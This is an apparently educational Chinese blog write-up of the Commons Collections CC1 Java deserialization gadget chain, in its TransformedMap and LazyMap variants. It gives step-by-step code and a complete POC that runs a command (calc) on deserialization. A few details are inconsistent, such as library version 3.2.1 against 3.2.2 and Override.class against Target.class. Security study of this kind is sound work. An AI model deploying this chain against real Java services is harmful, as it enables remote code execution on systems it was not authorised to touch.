CommonsCollections CC1链

  1. 背景介绍
    1. Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)
    2. Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
      Apache Commons Collections包和简介 闪烁之狐
  2. 首先 jdk 版本这里,要求的是 jdk8u65 的
    openJDK 8u65 需要导入源码,否则在调试的过程中,部分源码是由class文件反编译的,不好调试
    ●maven导入依赖
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>
  1. 注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

  • 明确反序列化链分析思路

我们在反序列化利用的过程中,我们需要一个readObject方法来做入口

重写A.readObject方法,接受自己需要调用的O.aaa方法 --> 调用O2.xxx --> O3.abc这样一个利用链,从而最后执行我们需要的危险方法

调用命令执行的点在:

  1. Runtime.getRuntime.exec( )
  2. 不同类的同名函数
  3. 任意方法调用(反射/动态加载字节码)

入口点 危险函数

  1. Transformer接口
  2. 实现Transform接口的方法
    image.png
  3. org.apache.commons.collections.functors.InvokerTransformer这个类中的Transform方法将一个对象传进去,反射调用

image.png

  1. 方法名,参数类型,参数都可以在InvokerTransformer的构造方法中直接控制,这里就是一个很标准的任意方法调用
    image.png
  2. 我们来构造命令执行的代码,下面这样就是通过反射调用Runtime类中的exec进行命令执行
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
  1. 然后我们现在把它改成InvokerTransformer中的构造方法,调用transform方法进行反射调用,而InvokerTransformer构造方法中接受的是参数名,参数类型,参数值,我们在实例化对象的时候需要将这些参数传进去
    image.png
  2. 我们这样构造payload依然可以弹出计算机
    image.png
  3. 现在我们已经找到了入口处是InvokerTransformer.transform()方法可以传进去一个对象,然后可以执行反射调用危险函数,现在我们需要找到看看哪个类中还调用了transform方法

调用类

  1. 全文查找调用transform的地方
    image.png
  2. 这里我们可以先设想一下,比如org.apache.commons.collections.map.LazyMap中get方法调用了transform方法,我们只需要找到另一个类中的readObject方法调用了get方法,链子就连起来了,这里我们先看org.apache.commons.collections.map.TransformedMap这个类,这个类中多个地方调用了transform方法,我们从中突破的地方会大一些。
    image.png
  3. 我们看到checkSetValue()方法中valueTransformer调用了transform方法,我们接下来到TransformedMap的构造方法中查看valueTransformer是怎么赋值的
    image.png
  4. 从这里我们可以看到它的构造方法是被protected修饰的,说明它只能自己调用自己,我们继续找传值的方法
    image.png
  5. 在类中的静态方法decorate()中使用TransformedMap()的有参构造进行了实例化,传进去的值是一个map和对key,value的变形
    image.png
  6. 这里我们回到payload里面构造一个hashmap,这里因为valueTransformer方法只对map中的value进行操作,所以我们只需要将value 的值设为刚刚执行命令的对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);
  1. 我们继续寻找checkSetValue()方法在哪里被调用了
    image.png
  2. org.apache.commons.collections.map.AbstractInputCheckedMapDecorator中,我们找到了一个setValue()的方法调用了checkSetValue()AbstractInputCheckedMapDecoratorTransformedMap的父类。
    image.png
  3. entry是在map遍历的时候一个键值对就叫一个entry
      
        map.put("key","value");
        for (Map.Entry entry:map.entrySet()) {
            entry.getValue();
        }

  1. 我们继续构造payload,这里是思路是当我们在进行map遍历的时候,我们遍历的是decorate()返回值中的map,当我们使用setValue()方法时,TransformedMap中没有这个方法,他就会走到AbstractInputCheckedMapDecorator中的setValue方法,接着在setValue方法中,调用了checkValue方法,就会走到TransformedMap中的checkSetValue方法,就会执行transform方法
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object,Object> transformedMap  =TransformedMap.decorate(map,null,invokerTransformer);


map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet()) {
    entry.setValue(runtime);
}

image.png

  1. 可以看到这里已经执行了计算器,接下来我们只需要找到一个(Map.Entry)Map遍历的地方调用了setValue方法,那我们就可以执行后半条链。
  2. 接下来我们找不同名的类调用setValue方法的地方
    image.png
  3. 我们在sun.reflect.annotation.AnnotationInvocationHandler中找到它的readObject方法调用了setValue,我们跟进查看readObject方法,发现他在方法里面进行了map的遍历,同时调用了setValue方法,这里就完美的满足我们之前的条件,我们继续看看这个类中有哪里是我们可以控制的
    image.png
  4. 我们接下来查看AnnotationInvocationHandler的构造方法,这里传进去2个参数,一个是Class<? extends Annotation> type注解的泛型,一个是Map<String, Object> memberValues,这里我们第一个参数 第二个参数可以将之前构造好的transformedMap 传进去,然后在进行map遍历的时候就会触发setValue
    image.png
  5. 我们先对AnnotationInvocationHandler类进行实例化,这里由于它没用访问修饰符,默认是default类型,只能在它的包下进行调用,所以我们这里应该使用反射进行实例化
    image.png
  6. 构造pyaload,到这里我们将框架建好了但是这里有几个问题
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object,Object> transformedMap  =TransformedMap.decorate(map,null,invokerTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor= c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");


  1. 问题
  2. Runtime runtime = Runtime.getRuntime();Runtime是不能进行序列化的,所以我们要用过反射进行调用它
Class<?> runtime = Class.forName("java.lang.Runtime");
Method getRuntime = runtime.getMethod("getRuntime",  null);
Runtime r = (Runtime)getRuntime.invoke(null, null);
Method exec = runtime.getMethod("exec", String.class);
exec.invoke(r,"calc");
  1. 在这里我们需要将它改为`InvokerTransformer().transform()`进行反射调用
Method getRuntime = (Method) new InvokerTransformer
                     ("getMethod",new Class[]{String.class,Class[].class},
                      new Object[]{"getRuntime",  null}).transform(Runtime.class);

Runtime r  = (Runtime) new InvokerTransformer
              ("invoke",new Class[]{Object.class, Object[].class},
               new Object[]{null, null}).transform(getRuntime);

new InvokerTransformer("exec",new Class[]{String.class},
                       new Object[]{"calc"}).transform(r);
  2. 这里使用的调用链,之前有`ChainedTransformer`中的`transform`方法可以直接进行链式调用
  3. 先定义一个Transformer[],将需要链式调用的对象放进数组中,然后我们通过实例化对象掉用`chainedTransformer`的`transform`方法,这里将`Runtime.class`传进去,因为只有这个是我们可以控制的
Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
  1. AnnotationInvocationHandler下的readObject方法中的两个if判断
    1. 第一个if,判断declaredConstructor.newInstance(Override.class, transformedMap);第一个参数是否有成员方法,并且map.put("key","value");中的key还要改成他的成员方法的名字
    2. Target注解中有一个成员方法,value
    3. 改为declaredConstructor.newInstance(Target.class, transformedMap);map.put("value", "value");
    4. image.png
  2. AnnotationInvocationHandler下的readObject方法中调用的setValue方法中传的值是一个新的对象,我们在这里需要将Runtime对象传进去
    image.png
    1. ConstantTransformer中有一个方法
      image.png
    2. 构造payload
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
    new InvokerTransformer("getMethod",
                           new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke"
                           , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
    new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

一个可以利用的POC

package ysoserial.ay;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
 * @ClassName Test
 * @Author aY
 * @Date 2023/3/5 18:10
 * @Description
 */
public class TestCC1 {
    public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");

//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(runtime,"calc");

//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

//        Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);


//        Transformer[] transformers = new Transformer[]{
//            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
//            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//        };

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke"
                , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);


//        Class<?> runtime = Class.forName("java.lang.Runtime");
//        Method getRuntime = runtime.getMethod("getRuntime",  null);
//        Runtime r = (Runtime)getRuntime.invoke(null, null);
//        Method exec = runtime.getMethod("exec", String.class);
//        exec.invoke(r,"calc");

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value", "value");
//        map.put("key", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer );

//        for (Map.Entry entry:transformedMap.entrySet()) {
//            entry.setValue(runtime);
//        }
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");


    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

LazyMap

  1. 在找不同类调用transForm方法时,还看到了一个LazyMap也调用了transForm方法,我们根据这个找一下链子

  1. 跟进LazyMap类中,发现factory是一个Transformer类型的,那么我们就可以将我们构造的chainedTransformer传给factory,以此来调用transform方法
 protected final Transformer factory;

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
  1. if (map.containsKey(key) == false)表示如果map中有key的话,直接返回,所以要进入if里面不需要设置key的值
  2. 我们接着往回找,这里还需要找一个入口,就是入口类的object中调用了什么东西,然后这个东西又调用了get方法image.png
  3. 构造链
 //LazyMap

        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazyMaptransform = LazyMap.decorate(map, chainedTransformer );


        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMaptransform);

        Map map2 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        
        Object o = declaredConstructor.newInstance(Override.class, map2);

        serialize(o);
        unserialize("ser.bin");
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值